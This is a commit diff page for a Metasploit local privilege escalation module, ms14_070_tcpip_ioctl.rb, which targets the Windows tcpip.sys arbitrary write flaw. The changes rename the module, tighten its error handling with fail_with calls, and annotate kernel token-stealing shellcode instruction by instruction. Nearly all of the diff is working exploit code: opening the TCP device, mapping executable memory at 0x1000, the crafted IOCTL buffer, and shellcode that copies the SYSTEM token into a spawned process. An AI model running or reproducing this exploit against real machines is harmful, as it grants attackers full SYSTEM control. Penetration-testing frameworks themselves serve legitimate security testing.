Skip to content

Commit 6c529f8

Browse files
author
Jay Smith
committed
Addressed feedback from @OJ and @zeroSteiner
1 parent 064ca2d commit 6c529f8

File tree

1 file changed

+33
-28
lines changed

1 file changed

+33
-28
lines changed

modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb

Lines changed: 33 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local
1818

1919
def initialize(info={})
2020
super(update_info(info, {
21-
'Name' => 'Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation',
21+
'Name' => 'Windows tcpip.sys Arbitrary Write Privilege Escalation',
2222
'Description' => %q{
2323
A vulnerability within Microsoft TCP/IP protocol driver, tcpip.sys, can allow an attacker
2424
to inject memory controlled by the attacker into an arbitrary location.
@@ -49,11 +49,6 @@ def initialize(info={})
4949
'DefaultTarget' => 0
5050
}))
5151

52-
register_options(
53-
[
54-
OptString.new('PID', [true, 'The target PID to elevate into', nil]),
55-
])
56-
5752
end
5853

5954
def check
@@ -62,9 +57,8 @@ def check
6257
end
6358

6459
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
65-
if handle.nil?
66-
return Exploit::CheckCode::Safe
67-
end
60+
return Exploit::CheckCode::Safe unless handle
61+
6862
session.railgun.kernel32.CloseHandle(handle)
6963

7064
file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys"
@@ -113,9 +107,8 @@ def exploit
113107
p = payload.encoded
114108
new_pid = create_proc
115109

116-
if new_pid.nil?
117-
print_warning('Unable to create a new process.')
118-
return
110+
unless new_pid
111+
fail_with(Failure::Unknown, 'Unable to create a new process.')
119112
end
120113

121114
print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...")
@@ -133,25 +126,37 @@ def exploit
133126

134127
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE")
135128

136-
if not this_proc.memory.writable?(0x1000)
137-
vprint_error("Failed to allocate memory")
138-
return nil
139-
else
140-
vprint_good("0x1000 is now writable")
129+
unless this_proc.memory.writable?(0x1000)
130+
fail_with(Failure::Unknown, 'Failed to allocate memory')
141131
end
142132

143133
buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"
144134

145-
sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04"
146-
sc << "\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98"
147-
sc << "\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8"
148-
sc << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"
135+
sc = "\x60" # save registers
136+
sc << "\x64\xA1\x24\x01\x00\x00" # mov eax, [fs:0x124]
137+
sc << "\x8B\x40\x38" # mov eax, [eax+0x38]
138+
sc << "\x50" # push eax
139+
sc << "\xBB\x04\x00\x00\x00" # mov ebx, 0x4
140+
sc << "\x8B\x80\x98\x00\x00\x00" # mov eax, [eax+0x98]
141+
sc << "\x2D\x98\x00\x00\x00" # sub eax, 0x98
142+
sc << "\x39\x98\x94\x00\x00\x00" # cmp [eax+0x94], ebx
143+
sc << "\x75\xED" # jne 0x10
144+
sc << "\x8B\xB8\xD8\x00\x00\x00" # mov edi, [eax+0xd8]
145+
sc << "\x83\xE7\xF8" # and edi, 0xfffffff8
146+
sc << "\x58" # pop eax
147+
sc << "\xBB" # mov ebx, new_pid
149148
sc << [new_pid].pack('V')
150-
sc << "\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94"
151-
sc << "\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA"
152-
sc << "\x39\xFF\xA2\xBA"
153-
sc << "\xB9\x00\x00\x00\x00"
154-
sc << "\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00"
149+
sc << "\x8B\x80\x98\x00\x00\x00" # mov eax, [eax+0x98]
150+
sc << "\x2D\x98\x00\x00\x00" # sub eax, 0x98
151+
sc << "\x39\x98\x94\x00\x00\x00" # cmp [eax+0x94], ebx
152+
sc << "\x75\xED" # jne 0x32
153+
sc << "\x89\xB8\xD8\x00\x00\x00" # mov [eax+0xd8], edi
154+
sc << "\x61" # restore registers
155+
sc << "\xBA\x39\xFF\xA2\xBA" # mov edx, 0xbaa2ff39
156+
sc << "\xB9\x00\x00\x00\x00" # mov ecx, 0x0
157+
sc << "\xB8\x3B\x00\x00\x00" # mov eax, 0x3b
158+
sc << "\x8E\xE0" # mov fs, eax
159+
sc << "\x0F\x35\x00" # sysexit
155160

156161
this_proc.memory.write(0x28, "\x87\xFF\xFF\x38")
157162
this_proc.memory.write(0x38, "\x00\x00")
@@ -167,10 +172,10 @@ def exploit
167172

168173
unless is_system?
169174
fail_with(Failure::Unknown, "The exploitation wasn't successful")
170-
else
171-
print_good("Exploitation successful!")
172175
end
173176

177+
print_good("Exploitation successful!")
178+
174179
end
175180

176181
end

0 commit comments

Comments
 (0)